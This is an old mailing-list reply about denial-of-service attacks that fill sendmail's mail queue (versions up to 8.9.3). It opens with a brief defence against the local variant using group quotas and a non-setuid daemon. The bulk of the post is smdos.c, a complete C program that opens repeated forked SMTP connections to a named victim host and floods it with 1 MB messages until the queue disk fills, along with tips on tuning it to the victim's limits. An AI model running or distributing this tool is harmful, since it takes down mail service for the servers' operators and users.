Re: Possible local DoS in sendmail

[siwa9 () BOX43 GNET PL (Michał Szymański)]

Hi folks,

This local queue filling DoS attack in sendmail is quite dangerous. But good
security policy (like mine) will prevent attackers from doing such things.
Control files (in /var/spool/mqueue) created by 'sendmail -t' are owned by
root.attacker's_group; turn on quotas for group 'attacker's_group' on the
file system containing /var/spool/mqueue directory, and your host will be not
vulnerable; but you _have to_ configure your sendmail as _nosuid_ daemon;

Much more dangerous are remote queue filling DoS attacks. If you have enabled
relaying, you can use shown below smdos.c proggie; it will quite fast fullfill
partition on disk where /var/spool/mqueue resides. you should notice increased
LA during attack; in contrast to local DoS attacks, control files created by
smdos.c are owned by root.root, so ... it's much more difficult to prevent
offenders from doing it;

don't forget to change BSIZE definition (in smdos.c) to appropriate victim's
host message size limitation (MaxMessageSize option); you can also increase
MAXCONN definition.

smdos.c:

--- CUT HERE ---
/*
By Michal Szymanski <siwa9 () box43 gnet pl>

Sendmail DoS (up to 8.9.3);

Sat Apr  3 00:12:31 CEST 1999
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

#undef VERBOSE          /* define it, if MORECONN is undefined */

#define MORECONN

// #define RCPT_TO      "foo () ftp onet pl"

#define RCPT_TO "foo@10.255.255.255"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE   1048576         /* df* control file size */
#define PORT    25

char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
                        

int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9 () box43 gnet pl]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
                               (unsigned char)host->h_addr[1],
                               (unsigned char)host->h_addr[2],
                               (unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
--- CUT HERE ---